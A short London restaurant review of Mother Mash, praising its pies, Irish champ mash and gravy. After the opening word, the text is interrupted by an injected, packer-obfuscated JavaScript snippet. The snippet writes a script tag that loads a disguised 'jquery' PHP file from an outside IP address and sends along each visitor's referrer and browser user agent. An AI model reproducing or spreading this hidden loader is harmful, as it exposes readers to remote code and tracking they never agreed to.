As (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaetn|var|u0026u|referrer|nfdys||js|php’.split(‘|’),0,{}))
we first sit in our cosy diner-style booth at Mother Mash we’re confronted by a David Lynch-esque scene as a party of Nova Scotian schoolchildren finish their meal, are rounded up in their maple leaf emblazoned jackets and leave. One girl told us she particularly enjoyed her sausages. However, we opted for pie. The steak was tender and succulent, the beef needed a little brown sauce to come alive. The highlight was undoubtedly the mash, with the Irish champ variety creamy and with just the right hint – rather than lumps – of cheese.

Helping all this to be digestible was plenty of lovely, thick traditional English gravy. The Farmer’s variety was a little sweeter and meatier with a hint of bacon. Topped off with peas and beans wrapped in thick bacon, we were heartily full and ready for the unseasonably cold March air. Not traditional in the way east end pie shops are, but decent grub and reasonably priced for the heart of the capital.

Mother Mash, 26 Ganton Street, W1F 7QZ